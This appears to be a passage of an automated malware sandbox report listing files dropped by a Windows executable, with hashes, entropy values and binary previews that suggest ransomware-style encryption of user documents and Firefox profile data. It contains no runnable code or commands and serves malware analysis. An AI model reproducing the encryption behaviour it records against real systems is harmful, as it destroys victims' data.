....e._..fi.....y...Vc.?@m...V......~>.^..D.....A.-...g..."j....0.Qmao.<6Z...j...% 4..zg.D._..wO...J.....N@.S.P.h......3......z..g.e..;y.JH.\|y...*.6xzA.`r....J...9.a............:..IPL...@_t.X...t5.Ti....XZ.=(.... ...7

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VWDFPKGDUF.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8597278947377
Encrypted:	false
SSDEEP:	24:kZ82vZo4ZhzYc4U3xkMRtCSaMJl3ZdbGcWeOTWfy0qQXghogKElCauaeFHR6aasT:ZNAhzcU5dJ3djbOK6zD6gKElQFHR643D
MD5:	3AB0A6AAB8E1E8C7CF005D464400CFF0
SHA1:	5E94255FE0792783455871968FCDA55D274D20FE
SHA-256:	9542000F88476C303FD26A0E639B894258767D89FCDDC25F86A75B580E2ED7A0
SHA-512:	794171D005761A36C4420D8AFF18F93A61C0F56DB6ECE1DF333FCF43FB22B0C282955E5C8E478571D77C72FBC8F036CBC586D2DB343E419E44CBB85F0D44ABE7
Malicious:	false
Preview:	VWDFP1.....'.av.W..{...I..6\r.'..@.X..e.<?.kU....`..0.......r...\|5..qY....\(..."$<8....,.;l.qIw..],..l.cy$l....C...2..g7........."(..m.Y8<........W..T..B.5..S.gK.,..z.z...M{....+..N.......Wl%.Os....c...l4.x.........g{.E\.(.0.7a.....LR.Fb..bFO...]0......{.w.b\T.y..B..Y.....kfI...xc_..\S..@.X^bO..r.A6E..o.. .x....'..\|.=.._o1.....Cf,......~......;..].Hu..E...'.....v.....\|..A......e1...+..lEF..Qr.t...ln:.i...G.vc,I..\|.K..;u.=0..1..$...../.b.0[.]..n..j.....mu~.5.....D..M.fx..W4.M....>k....>".../..$.w.......c.....Pf...3.*.7j..7.....O.c.........6.......,.jE.hr..8fi......c.w.....8.p x...'I[f..HJ..@.8lA.j-.=e2..Ohy..].8...s.......).O......T..H....V+nf^.q.~..rI........sT.....$.....%\|wRV.@...../..B....3kX6\./I.8...y.....x..Q..^3....8L ...dL.<.\|.....7z..w; ...W.Aa..........k...U...V.B4vq.!..:3.\|.$.Y o.Hv...~..3....Lm$.-..v..#...L.....{.;.q...&....w..[..`@.Q"$..AFo.j.O.=..HZ..~.Nj.p....}+..Uz5.P%.lR?j^..G+..p...!...#..<..=..d'..`:..&.....b.$..........Y

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WSHEJMDVQC.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870293444303692
Encrypted:	false
SSDEEP:	24:7tStUUFS/7B1vs2sLzUro60gk4zF8gQeJGrusD/KtXlXMjB2myn3zbD:BStZFC7BuGigFRNR9bn3nD
MD5:	893C90CE9AEAFF1AD035750C03342F38
SHA1:	F583C6ECC42059A23C7B9C6F3394E38409519405
SHA-256:	17D669574585DCF8FFB29549D3C14823853591E3697E9DC64A506413479FA081
SHA-512:	DC1C1FE8ABCAB00BFA2FE595107EB509377A9D7A49DD053DBA8F0B0C4770F260B0FF2D499C0FC550425EDF6F28F6E91301E3A711ED5625444B91B3B01A65D211
Malicious:	false
Preview:	WSHEJ.s,$...`.b..._.dRwR..h..1^u...W\|.o.>......5.1.u.............?...M..({t0..[.....{...Y....^%M.C.<jgZoP8Y.....`...Mu..c.....q-.Z3.b...^..C&../.C.#........X..&C~...-.x.9(Rp.i.T.......sO...&.UH-.oT....".(.@.....@,.!.y..7....AY..>........-..'..2..Q..JN{.!&U.G9.RG....zq.M...UN...j1.c....<....i)...L... ...-.m.XQ...".....(....@{. ......D%....K@^u=y.......>..L....G....<~..9..lh%..'.8...`...[.:..7...6..3f..&B.tA...\|..:'t_/.....{@...kA_.z.N..".`..Q..=.f.....fAIz.....$.[8...a}.!...+8 \.......Q57....hh.XX.......%T.wm..`......:..7.../5f.1..8.v....%.<C...sd.....Q\.D.....Ye.....V.q.#.n'.!.Z....T..#....zQ.N...B7nb..c_v..z..AR....Z...7..9.J..j.....Br..-Kv.`.$.V.v.~6'............%.G.....un..A..qy....(.qlX...k.i...D..Y...8E..q^..$.\...%.......6<.N...)...-....w.;.z.Qz3x.....DW..B.,..x.k.q..\|....'.D..Oy.h..a..."U....9.+G....8.87..t.#r.....-F;.$+.c...{......#....7n.5.HY.}...g......Y.$foV.m.... ....%S.z...dK.....?W8sc..2.n....].9Sa.(...~..!x..W..4u..s..d...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\XIDWCHVKBF.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873917279455673
Encrypted:	false
SSDEEP:	24:swawpr+zhPOL0n+aD0/mIe/ellLiST1TEoNYAyUeU11LCjkRLyAZ6SczE0EOZT3D:sRG+z5Ow+mIe2zr2oW9shukRLGS+pTFT
MD5:	E51A3A796D57CDCE9151524A0046F470
SHA1:	A2084197AFA4C231E86B0EF2864EC8F2D1820573
SHA-256:	5DE0EFC794E36FD0926BDA565D5397BF8270E0A28BCF1A7AF169F7A087720DB0
SHA-512:	014DC686CE98604CD3BCF88BD195924D19DB87C52B915536302B5662CD50EDB976CB38A4B6A2A7B136F77831976381B1ED08D575AF38FCC4A8E57C286829F4D3
Malicious:	false
Preview:	XIDWC..3..z.t ..Nk.+....+...2E.....!K..?...~D.%Uo..Ts...6.2.".D......'zl.W.d....e...r....1q.J..Gx.uM...$......w..h...y;....p@.Un..PO.....R9...B...H...Mk..b.5Tf.&...)^.u.}.lzuO.[.....=c@p..,".\...n..U:...8(.\|.~Nu.....O.\.G....=>....o...n.....L@t{p....P;9..a....e..^.@rkOy..#.....y...p:.K......~......Y.pNB....-D[..b.e..M...p.....Z..,;h....a.q.JxH..B....p_-.dS#....l..?.....&v.z....0..x....[.K..P..,...:..w...B..3b........0aX8.w6.-c..0.6...z..z..T-.lj.`.G..h.3~..p.........o.b...V.9:..?.i.s(.{..3..%A.t...Q..M....@`.v..QS6&...M...wc.ml1N...2.#.hX.W.T..src...f....<...fO...?O.'..xH*..R..w?[..."....C....:...#+m/.n;b........X..d..X.....F.).(...G$..v\{...{...%m......\...HO.......n.}'...........P.....H..].................G.=vVx....q..\|....T.!.g..m\....L.p.E.....)..`..(.V.Rr. ..H9^..._{pl.....`>.Y...s..4z......#&\g.....}...`S...,.Y.....T....P...h.^...8].t.......A\...I.......;.j.X...R..]..... ....$&..^.....z5.1)x.O..4.j..+.p..g.3o#.0gLiA..Bd..A?V..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZGGKNSUKOP.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.869339896999317
Encrypted:	false
SSDEEP:	24:IMmdBqCeQ2sqKsRYW4oesHCm5yd3Lnffl8DYkbAiChjQjQp66F2Ib3zbD:IMIXhRsRXHesim0dFRi7jQp7FT3nD
MD5:	9292ED27E9EC3991363816EFFB5B1B97
SHA1:	C2B7C5450ADC033BDF5C0F899C56E7F7DBA50B8D
SHA-256:	9E3EC883C1051C809FF5BD22CD58BFE029175567217522E65D7334A77F4BBD19
SHA-512:	93E938FE2B4E48D05DB71CC7340438D772DAA94E8E3E1950A8FFA589CB32F48B45CAC159D6AD0F183586B1D46022621457568821D4F3CD228B3C157F8DC3D05B
Malicious:	false
Preview:	ZGGKN._f...q\|}.u4B.....k/q.~-h..H...}......."...p7e.ybm......ylm..y8?.Tn^........q...:..Y%d....K..X..G....$\.e..N3.....QOC.}...$k.v..3..}....S..k....b....M+...&...6...z....o.../.`..R.BMp.+..U....R.LK.YT....$.%}...i......!.kD.Ck....,..my.zR.......o..0U....g^@.0...<d]../.)5...[.).a.$...3Ut`.....t..Nz[.wHV.....P..:4..c]..a.6.y\......"...G.n..(.s.~..7$..Br4{.V....:.WE.....B.'......T.v.(..rx.....W.&..=0.....d..._..o...Q........\...g...uD\|f...vP.F.\g..h....9i.R4..xy%n.N.4..e....v..Q&....'.L-./.2F0..p....X.8.m........c.q......j.2..d..xl.'..V...y.W........g.F..I\|..l]..^..N[.0.%..\|.p...../..........D.!.$.\.)....v^I}A...f..4IC....E..;.$i0...t6?x..@..!....cxugZ..25.Q..gb.q..a1..3...@/Pe{.#Vuj...Oq,XU.\...,..zNZ.eQ.'. K`=..d.....g...u....V....h.h.^i...^.fS.B.>.'..3...Q.....J.&.@3...x..IN.........Z..k...e......0..-..!o.......u.<..7..^..l.kr\|...f.A.%...o)....\|.f}..$.q.{.\|vN....h...`.+..%.0.g..T....V.~K..<#...N...@z......r...A.....W....2l..`........,

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZGGKNSUKOP.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8663480935032215
Encrypted:	false
SSDEEP:	24:G4LL1sw4IlOzR6EB6onabFafmbObuQIk6GjwJaMr7WI39wB2T3zbD:GYo5B7EFafmbObuQIL0Mr7WiCA3nD
MD5:	31EF159824D0A1AB9892B95C84908DB7
SHA1:	4ABA592FEA68A67E63B56E0D72D284F369C608B8
SHA-256:	4DE07817EED8447DBB0362B7ABD1C41D3239C81947AA22A92E61060F0BDD39B8
SHA-512:	2274297BF5D7F29BE5682D40CE35DB3F90BF6A07F3CB40B9D5B4B6272A5D2D21387A4152A839ACF4835A889821B631823F45A9960D6E627E1AE8C45FB97042AB
Malicious:	false
Preview:	ZGGKNT.U...h5.Dkb.....4\|<.I..4."....J3....Xy.`.i.......{....I.A......x[aX.n`.?.....[O.......Z.C..8.....@X.e...&......;[.R\....u._....B.^..1.M...R.../..kR.".:.....L...1^.n...t..N.jL.../k6......TZG>M>...z....Vu.o.'4....r...;om......yz..B..y(..\A..._..X....Z.he...i(q.Q..^.X...z..+..U.u......6./>.6{..i.c.h6..H..T..(?..r..7@eL........E.'...Y=...z.......=\y..]..=... ....B....,..@..h..s.!..(zD....V&........._F.'E....L.2.....H.&d..#.b..'r;..-.B....Ni.gca4.o.....<<.(......{r.B.<..F..E..J.N..d Z5.C.p.nL.to.\.x.!)2.7RN.E..L.fg.aT.2......X.0.0....O...G....b...F=<.hz"........Q....0...!DMdGR3.........`...wM...L..0_#]W{\|.q.%.L.R..<N..&.fY.-......S.C......Df....W...o.JX...i.G../AB........Xt..0.......^F..F2.P..P..%.h...p+f.S....G.....m.ls...'..Crs...X/W..LF...aR.K.z.....I..h.6k..I..wT}.@..a..L...@F.~Sl......m..........ky..<3...M...!.E.'K>.....T1.*b.#d.S....:..\`2..\.{P,K..w%.%..2.......w.Z. .N..ma...Sju..O..Pr."i X...{.Atd..../...Uew-..Qp...&u."9.?@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZGGKNSUKOP.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861846297525586
Encrypted:	false
SSDEEP:	24:znFpRtJCYzLcUyWjT7QGdRErRXbhsAiF6griz93zbD:znrRLJRyWjT/ErRXbh/i8QiZ3nD
MD5:	22B5811F46012FFD01D3CD65D1358A06
SHA1:	274AD3ABE6CFCD48C647BDD93A9CD2FA47E99B39
SHA-256:	B6B66D1CA000AD26A9ED8140748F6BB971188B353B5E19B2D20F445162A215F2
SHA-512:	8D7F85D2254FEB9AD57D1F692602B9CAF26A79D0B9BB73D9D2212C53E63F3029DB40C978AF1E59DF891CF901EBC56667D41260421DC066871B645E1BCAC6B9AE
Malicious:	false
Preview:	ZGGKN.....t..+S.....pK0. .~....<.........l.... s..2.;.F.z..#.)hV.N....y...!.&l.I.l..?M/.......&i.;.._.E..... G..K.H..2R.0..\|\|X..T..l.}@A...c K.....@..L..fl!G.....p...<C(L...:z.`a.h..#.\|...Jl......i.s.....qm......n{R....)t.k..=..:....4..t7}..............dP...}......uk...C.....)......w.k.F..U]K0x.W.........kY..O1.T.s....l..~..BZq.o.Z.8.N.c.8..[.......ZU..z...6.0....f..j....t.9L...(..}J......U...R.k...<...Q.....Y.:.}@..j....8......._.:.}M....X..<wF..a..TZ..(.+.V.A2:.+....%^........W..a..TY..+..AY...L.>......!.[....>mO.......'z.]@3..8.h/..id^_...........8......PP......l....g@ei9...SG.y........,.v9z\...Rd0:.Q.W..!.L....\/8..e......yN.i..B..969...9..9.HC...Bq.\...\.y..>R..@.....uYtd..h.~.D:..w..Z...RM-...g_k..f.+).].^M.Ip..0\|.]......./...:...X...hhi`...A...P.....QV....t3.i~........%ws...;.C.gO1d..hu.......,.c.?.4...B=...0B....q8bkvq.g.<.@."..k..KqF.lo..}m.pA.1`~1....*.p.X...Ca...Tf\.;..."........'.$T.>....U..2..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZIPXYXWIOY.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842162791590353
Encrypted:	false
SSDEEP:	24:4IcGbiIxL5dgirybGBpgXbRylEi3q850yTY7usfuNWdN8jV635bkzS/3i3zbD:OGJQbSp4cEv850yUqs2AN8s357S3nD
MD5:	A577E4482F96662CE9CDDD328317CAB9
SHA1:	A9C32A56FF1B58B5940541BBE0A212EAC15E5377
SHA-256:	EDC427CE65E4C62806D6837E7AD6A6A006866B1D08703D630CC15527538A1250
SHA-512:	4678A91049B9388330B6046BDA9316CECC6CD30DEC06003647830EFB7F841C940173852CABE252D25A3B04B8B551EE0FA123172C082434DC701263A639085D52
Malicious:	false
Preview:	ZIPXY..w......X.91.....J.[nb7.T..\|Z.N..[.......V9...t.....h....3v.3.&0.....P.Al.E....w......-t.b...@...~..2....q._....<f..._k.f..'1....k.Z...2G.\|_...sa...s$......6....x._.g.&.4.o.)....."./..1h&.=._q.]..x..h..6K.!........?.Kyp.^.@....Q..R.6.<..q..V..D..A+D..P. .u,.y.I....W..2.;....Z.<.....}kA..l&..F.e..b......L.f4.....".E.fX....y...{.p....u....rJ..].0.c.a...Z.8h...XA.'.%...2..5.3H..l>../S.u..M.`.%j....%uQ..t.F.&E..F..i.%..k.b.......M.-5.b..a..a. .n,...VJ...j;%>,...^...s2.\.....<..<..%6.GV...%.x..<.l...n.S.W.rR..Q..&>h..z.a/.Z.uZE.....oJ.1..3..f......wk{.....R..Pz.T.w..LZ.V.}b.v!...}..~.c."...c..=.w....5m;W.T%...V..y~%.d.....2X{>.{.Y..{.O...W.?d..r.d.,....8uzr....9.v.[,...$........M.'...o.b....s.)..2O^..^.'...`.HC.`..q.m....:.%J.7,..X...S.p0.(.e..<#A.tf..g<..t}o3..c..8..I'.9...SA...(..:T......-...~..r..w..%.8..a5q.^.h....j .L.^3.E.[.[...R...}..\^..x.....GD......P.........~C....2(...<TY....Z.......uE....sV"..n...I...@!....+o.u37.y~... }

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Bluetooth File Transfer.LNK

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.845700597849527
Encrypted:	false
SSDEEP:	24:N/B9kOdttKGqP9v51iQgSi/ipB1hFl0/n/iUOFMC+Q3wH0S7Dw3yJ3WSF1Gu3HMb:tB9kg8Fv5VgpipBrFlUDSfP3wH0S7Dw3
MD5:	4595DD08DEA6B003617493A767BD6582
SHA1:	817E67D00A2504534D8A7E8DDF371951D0524973
SHA-256:	D3399905DDD0E80C769FFEFF8E75DBCE4CA66E12F8DFF5A19DC42CD1E7F755D3
SHA-512:	9DF541AFCB8E97FDECD841FB3CAC66E5B9446084873169C710BB012423F8FEEC815ABBF48D77AB5DDB381A4C989C07E2C65DB9EE43C72AA0969962A6A06C345C
Malicious:	false
Preview:	L....:[..bj...-..r..f.oy.{.m.q$@{3....J..<f.i........p..u].->8$.8q...]h.....w.^...n.!s..M....6.D(.&.Y....1..>N..5...Y.i..T$;/..N;..n....&E.N.yP..N)..g..M.{Q.\|..}.yx.%."..6TI%.....5.Y....I....u..8..J^..b..8..D.uAS..~[.O..71..........^ynU.P~..y.?.......BoA...BZ...i<...F...#E..=+/2.h..U.B..Y._yh...!....w.:..iy.vPpa.]..^e\:...I..b.......3.S..e..K..7).\4...MG1.oMC.......G"...L.O..E.k5/...W5V..+.4%..&...N......v.....g....A.+N)F....%;..r$..:.\|...JuQ..c.....1...3.%#.?G.ZA+..B..X......v.S.io.......\Zr..lM....q...4.yT... ........b..lZ>k....;..U..q.u;%:."/.6...9h.9r..-.]1Z.j.....g.*....N.X.......?.\|lV6~..!0..F..-Mza....=S..e...\.2.p...g...k.B.D..gn\..-...&,j$.?>a%..).d_...m......P...0..+-i.!,...#N6......%.......\|b..D..q&.7.No.s..<.&H5...N...]a...^.x.0t.2 ..k.W<2A.rp....&........4"..;......E4...9..1O,....4....!..b..."..<.."...e...ge=.......:\|...).Q.\|5...n..R.n...{...F..\|...<.Qx`>8$.~[._.2.....fg..?..u...P./..e...... .k.j"..O4..!.....`../b.0..H.2..

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Desktop (create shortcut).DeskLink

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.279066474412935
Encrypted:	false
SSDEEP:	6:/1w5VGIkV82ugB/SBiRcDlV442SyHNjA7R3c509zMdOsVolWbz6Wcii96Z:/1AGIkVVuAk3lu4jQxAls509k36Wciik
MD5:	1FF3EC3CBE2BED4488DEC25258385D10
SHA1:	FEC1806073A366F83C8335AB35283FCE1EB7D510
SHA-256:	68B04E8EC2FED6196C136932387B40F0D3479E3FB05267E38CA2736F0A9A235B
SHA-512:	7617EEB3191F0157D7086E210E46E8937B5ED5FC7D0AF212C4A8C27A8301822E02FE3ABC2C371AFB4485BD9C7D607B698ACAC2393C9D5FAA7FC28E39946954E3
Malicious:	false
Preview:	deskt...UP.N..U!Lq.A......\.Og....L..9..;.j?n/3.....".....?...)..5..UR.cL._)l.....i...@.N.d..h.w..y`#42.O..@.../..?.......+.w....ua.........V.....u......m...{_......!8.9....~C.(.x.......2.m.zA8.g.He.....+efO....a.WSq.9..b.....xl..y.H.u.U.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	JPEG image data
Category:	dropped
Size (bytes):	68018
Entropy (8bit):	7.997157930028605
Encrypted:	true
SSDEEP:	1536:fEQ8CTCc52RsrBP3Rv+37XNioB8i4rE9+tEvnGzYrwZkXV1s:fN/4ABPYrXNPB81nzYr/Xs
MD5:	50749F93983E757BCA3B5AFFEC3964A8
SHA1:	4718D02B187949F9EB5CA5C830C9CD1F72C0C95C
SHA-256:	D84206C9DF32E78BC8762AFE3FD70B37400478122C532AAE64DE6698C945BA69
SHA-512:	DC1E7BC7FFC995DDC5220C956ED238DE7C043517695232D8E0917D89F9D6ED34C4AB6442E59CECDCB78C082D843F88B8704F0E346A155F32C3B75052036B9FC2
Malicious:	true
Preview:	......^2&D+.%...6...P..n..%..4.....}....B@....Ud.Wx..?.._q.......S.b.V..k.`r'a^oO..<.=%..r.b2.....Za..-.343.9.R..Di.R.2..m@.Qjv...W.o..>.....v.Z....Sm.P'.h...S.8.4.SP'.j..%.Q").V....OJl../.......w.....S.=g..n.w........g......<..'.....J`..k..r.ND....3.".......ND#../T.6....l&z8j.\1.~.G1b}...}{.RA.:.i....=?.B.}..........@,I^O.F..&....m..t..O ..(7.:.&...g....i#.,7#l.....+. .D.Ry.1.>.Z...X4./.....>7B.W.>/.B3Og....=.?jX.%.,...-......2.vX./y.w.<.w.Vb..!..?...{.\|.y."..(=z{h4y..fE_Oj!c!.l.W.w...'...B...4.Y#.k..?.r........".c.Ey!.o.$...P.....kN.q..D...xM..8.R.i...Y..\N{..?...[.e.L./..F.y._`[..Z....K.M....R..i.](-...?].D.W.e....F..s.oC7..et[..T@.Q....Z.....Ok....sC..u..x5o..q.F............IJV..G.........b..-i.d...y.$...'.Eo*.3..f.[...Uf..?.......=<......8....a.q.........r....S9..DJ._..SrG...k .9..o.1.yHv...[UF.Bi...G#-d..`....L.x...b.u'..+.(..M....wN."#X./-".n.q..^V6.x:....-~..+.m8J.F.J,Md.J08.....=.....M.gN_..fjj.U..U.=._..N..B`.M.W...0

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\AlternateServices.txt

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.708235251921167
Encrypted:	false
SSDEEP:	24:2JuSixHLeU45CJdCS7KGSbSYJn67XkM5iFHVfK3zbD:aunqrCJb7CZq952K3nD
MD5:	B41503F3B8BC43B65894BFED6A8A5F36
SHA1:	CBDF7CA76AD7F8B9D0D1DDEFF4899B0D19A0C17D
SHA-256:	9907E7831902F5623BCC8F6424975B916D76818FD00C7576026A1C17E92F7F34
SHA-512:	FDEDAC748D3FC9084B6A80A78B17E4BAF1A301F7F49704013843780A4E04244147B62C56E02595AF79B5D12B2EB0F8A4C1DAB8C6131108700BBF0DBD8275578B
Malicious:	false
Preview:	https^p.......h$.[q....G.'.hV!..S.n..#9n....OS..y..a..._..".{....t.......j0";..]WR...H^.h..w,Kb.U.du.h.vjf.V...p.....S.f..P\|0Oh.......ID.J.D.(..iP....n...15.l....^k_on.,j.........C.v=....Q...s@.<....v....TYO./5;....##d(. .2..T..d.gA..P...L."..h.".M..ZU..].0E..$.....i%7..P....s%O.p.5.I..!.).x...H...ju."..#.I.c!e)@......I.ne...?...QO..J.....n...J..huT)...]d.C......t..!r..?..4...d^......8+[....ry......<...`....-..F.....3D.....b..p.:y.)..G0kI.......=.......b+$.Z[q.n..5....)..)=.l.{.C.<...o7.k.#<.......W..E.X...L.w...#...s5.G....o..k..A..F.J&......F....T.....c\|.......k.*..-.o.A........@._uC..v....3b@.&b'O.ikS.A.}.R.N.A......qE..W95..ET.."....Y.=Zmu."'bI'6...d..oZ...D..j..Xi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2531
Entropy (8bit):	7.929959603695998
Encrypted:	false
SSDEEP:	48:YgnKccZvbJ4YbrjeV1BC5QZnFByPExO9ZPk+OthXtdotW3Rt3nD:HKXvbJ3vm1BLhP6ZPqnHuW3
MD5:	221601F2819C60371468DA4DA7AF1E77
SHA1:	64D04AA91FA0825E1EF5CF894F1FFCCD304BE21A
SHA-256:	9407DC5F8E08133448A903CF040B0AE5FAFF4832BF70B2C3336BF33B20CF0D6B
SHA-512:	D19419F52805F0D193233B003AD288C8DCD0EA2EBDD56AEB3D093448A59AFC236CA4EBE4599B287252B34FDAC70AA630F0F77DC0DB5500F8D3B453A22AD2307D
Malicious:	false
Preview:	{"csv4f.g.q07.GLh....^.s,...n.e.^.#.4..#.P<...T.V..%.w......z...L&..../."...3.8q.c.HLK.<.n:...:.8..N...>d7.0..K.m2d..T....r9.....E..X.=~....$I...A..9PA....:.#B....>$....3<.....i.I.>..i..2).....C..6.{..U..Y+...;....owK.P.9.....6U.....6..uK4..m.j.....N}..<..sJ)N......5.......-X.t#{.u_..I".......3^E."Q8....x\....Ig&Fb...M..)..l..]...I...>..M..hg..f.....KF.wni....T..#.........O!"b.........v^..h+-.[....E....:~..H9...$.....9...5..?p.....\|....{.<.h...=.O......v@.=..<.m....:.z..Y...c.S..N.m<....X.iJ....o....E..F.^..X.....o....u...q.....p..&.#.W......X-...B....}..~....b.....@....K........HwP....0Z.B...y)1..t..P<j.....I....!..[.kS.\|..P#.B:N..v`.4..../.rf..F.M..[.6.xk8...A..g.[}!....j......(..m.....g.2... .e.^_.....M4.^....`..5..!.......~.G.0>.I.]...!."$e...j..Qw.}m. ..V:..Ua.R....R...J.`vB7h...@.,..v.I.......A..A:'...$."S..,.9.&..f..z.Vq.~o.=.I...h..-4RN.....'...Y....4.5...Q..N....$...TL......g.........L..Iv......u.T[.'>+.Sk....#.......".".

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\SiteSecurityServiceState.txt

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	979
Entropy (8bit):	7.777456322455818
Encrypted:	false
SSDEEP:	24:mSeZA0UxIpP6HPrgGf6kFSDFkpWhB1hD3zbD:mSe20IIhWCkcD2pWhB3nD
MD5:	6ADB902BD0E0A3CEB6A3678C045818DB
SHA1:	C708B294DC9A98A69D4E65B2328DA914987F74C1
SHA-256:	45D1DAA52062A7912E6B0B9EE4085351E037FF5AD8BB57DBD3696C4431D01FFC
SHA-512:	349570B1CC55C9A1AB44B2B570B008E8B6E4A307223095237E189F5CFADBEC988BACDEE9831899821DAF62F58F64D9E9D7BD39936E6D7517724FBCEE53371A49
Malicious:	false
Preview:	aus5.[..5.%.5.%..\Nd/.X..k.Zy).C_.uYt/Y.qp...aBw.......o.y..M...r5"..aW6..O.&...G).$uZ.(....x....K=.?.X.....5....2.{r.....cW#.....qnc.6..........MqI..\.8.1.P......p...<..0.1b.....>Pa.c..C\|N...Lx..W,......y>...._.....X;....N{....5...^D>..v=.P.....jn,.M'...o.:N....rK...k......-8.#...^......F...&\-...V.....H.e].b7.}3??..6_.Vy.k....Dg.:>.).7yy........#...wVn....qw....Hg.~...i.....I....No...i..61.......k....lmw.h`....(...4.Q.'........:m..3(.kd...A.GA..t$....>c6.m...%7....lHF.>.....-;..`.<.....e...bqC.W.f...g.0W.PK..o} ....\|.%.&.].`.......\|.AwJ..0mG.#...hkr......\|fjc.].i4'Iy`[34'..~..f;....D.......5..~.e.j......:....@...t_.:(..T.M.K8.7....w.ct=..-n...g._..2:.h.T.6=...{....1..g>H@%a.z#e........a..w..<.6,.>`.lR...'..gR....<].4....!...4..L...(\|...Eg..D:y]4W..M...s".&.d..Gv.....10.!2....LW.....6%..m..o.K.Y.0\T.x...7...:.[....G..S.*..pb..._I.F.U..z.XT.osN..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	5735
Entropy (8bit):	7.959848947452441
Encrypted:	false
SSDEEP:	96:w2Y0/hO2VLM9KM616VMnCgGVQRImieITWp39In6eKkBPg:DLFKPE6VMCgcQ1ieEcIn6eKko
MD5:	9FB5848DE2A1064CC1756C94625E8EBF
SHA1:	ADA3A5D71AEB8D10EDF762B4E19F465AF529D00A
SHA-256:	57BB515F0C918541514535FD21749FBABB8BB7DA76C725764423C9525F4967CA
SHA-512:	4CDF8EE5F73DAA3FB79280D36B0A82D3345BD19BF7CC02ADB96409B3446B878F5CFFD3126717656F9B9B67271338F000FAC3C35AAD8144C3F5BB0D85D9C552A7
Malicious:	false
